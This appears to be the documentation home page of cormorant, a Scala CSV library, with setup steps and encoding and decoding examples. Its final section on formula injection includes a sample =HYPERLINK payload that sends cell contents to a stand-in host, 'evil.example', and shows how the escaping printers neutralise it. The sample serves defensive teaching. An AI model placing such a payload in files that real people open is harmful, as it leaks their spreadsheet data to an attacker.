layout: home
cormorant

Project Goals
Cormorant is a CSV Library for Scala
Quick Start
To use cormorant in an existing SBT project with Scala 2.12 or a later version, add the following dependencies to your
build.sbt depending on your needs:
libraryDependencies ++= Seq(
"io.chrisdavenport" %% "cormorant-core" % "<version>",
"io.chrisdavenport" %% "cormorant-generic" % "<version>",
"io.chrisdavenport" %% "cormorant-parser" % "<version>",
"io.chrisdavenport" %% "cormorant-fs2" % "<version>",
"io.chrisdavenport" %% "cormorant-http4s" % "<version>",
"io.chrisdavenport" %% "cormorant-refined" % "<version>"
)
First the imports
import io.chrisdavenport.cormorant._
import io.chrisdavenport.cormorant.generic.semiauto._
import io.chrisdavenport.cormorant.parser._
import io.chrisdavenport.cormorant.implicits._
import cats.implicits._
import java.util.UUID
import java.time.Instant
Then some basic operations
case class Bar(a: String, b: Int, c: Long, d: Option[UUID], e: Instant)
implicit val lr: LabelledRead[Bar] = deriveLabelledRead
// lr: LabelledRead[Bar] = io.chrisdavenport.cormorant.generic.semiauto$$anon$4@65a7b37b
implicit val lw: LabelledWrite[Bar] = deriveLabelledWrite
// lw: LabelledWrite[Bar] = io.chrisdavenport.cormorant.generic.semiauto$$anon$2@25e9547d
// A List of A given derived type
// Don't use Instant.Now or UUID.randomUUID in pure code in the real world please.
val l : List[Bar] = List(
Bar("Yellow", 3, 5L, UUID.randomUUID.some, Instant.now),
Bar("Boo", 7, 6L, None, Instant.MAX)
)
// l: List[Bar] = List(
// Bar(
// a = "Yellow",
// b = 3,
// c = 5L,
// d = Some(value = 997c7a86-da1e-40e2-9f0f-45c57dc124b8),
// e = 2026-09-26T14:26:25.085206Z
// ),
// Bar(
// a = "Boo",
// b = 7,
// c = 6L,
// d = None,
// e = +1000000000-12-31T23:59:59.999999999Z
// )
// )
// From Type to String
val csv = l.writeComplete.print(Printer.default)
// csv: String = """a,b,c,d,e
// Yellow,3,5,997c7a86-da1e-40e2-9f0f-45c57dc124b8,2026-09-26T14:26:25.085206Z
// Boo,7,6,,+1000000000-12-31T23:59:59.999999999Z"""
// From String to Type
val decoded : Either[Error, List[Bar]] = {
parseComplete(csv).leftWiden[Error]
.flatMap(_.readLabelled[Bar].sequence)
}
// decoded: Either[Error, List[Bar]] = Right(
// value = List(
// Bar(
// a = "Yellow",
// b = 3,
// c = 5L,
// d = Some(value = 997c7a86-da1e-40e2-9f0f-45c57dc124b8),
// e = 2026-09-26T14:26:25.085206Z
// ),
// Bar(
// a = "Boo",
// b = 7,
// c = 6L,
// d = None,
// e = +1000000000-12-31T23:59:59.999999999Z
// )
// )
// )
Writing CSV that may be opened in a spreadsheet
Printer.default implements RFC 4180 quoting, which is what a CSV parser
needs. It does not defend against formula injection: a spreadsheet opening a
CSV file directly will evaluate a field beginning with =, +, -, @, a
tab or a carriage return. A file built from untrusted input can therefore
carry a payload to whoever opens it.
If your output may be opened in a spreadsheet, use the escaping printers, which prefix such a value with a single quote:
val hostile = CSV.Field("""=HYPERLINK("http://evil.example/?"&A1,"click")""")
// hostile: CSV.Field = Field(
// x = "=HYPERLINK(\"http://evil.example/?\"&A1,\"click\")"
// )
// RFC 4180 only -- the formula survives
Printer.default.print(hostile)
// res0: String = "\"=HYPERLINK(\"\"http://evil.example/?\"\"&A1,\"\"click\"\")\""
// Neutralised
Printer.defaultEscapingFormulas.print(hostile)
// res1: String = "\"'=HYPERLINK(\"\"http://evil.example/?\"\"&A1,\"\"click\"\")\""
Printer.tsvEscapingFormulas and Printer.genericEscapingFormulas are the
equivalents of tsv and generic.
This is opt-in rather than the default because prefixing changes the bytes
written, and plenty of CSV is consumed by another program rather than a
person, where an unexpected ' would be a bug. Choose the escaping printers
at the point where you know the output is destined for a spreadsheet.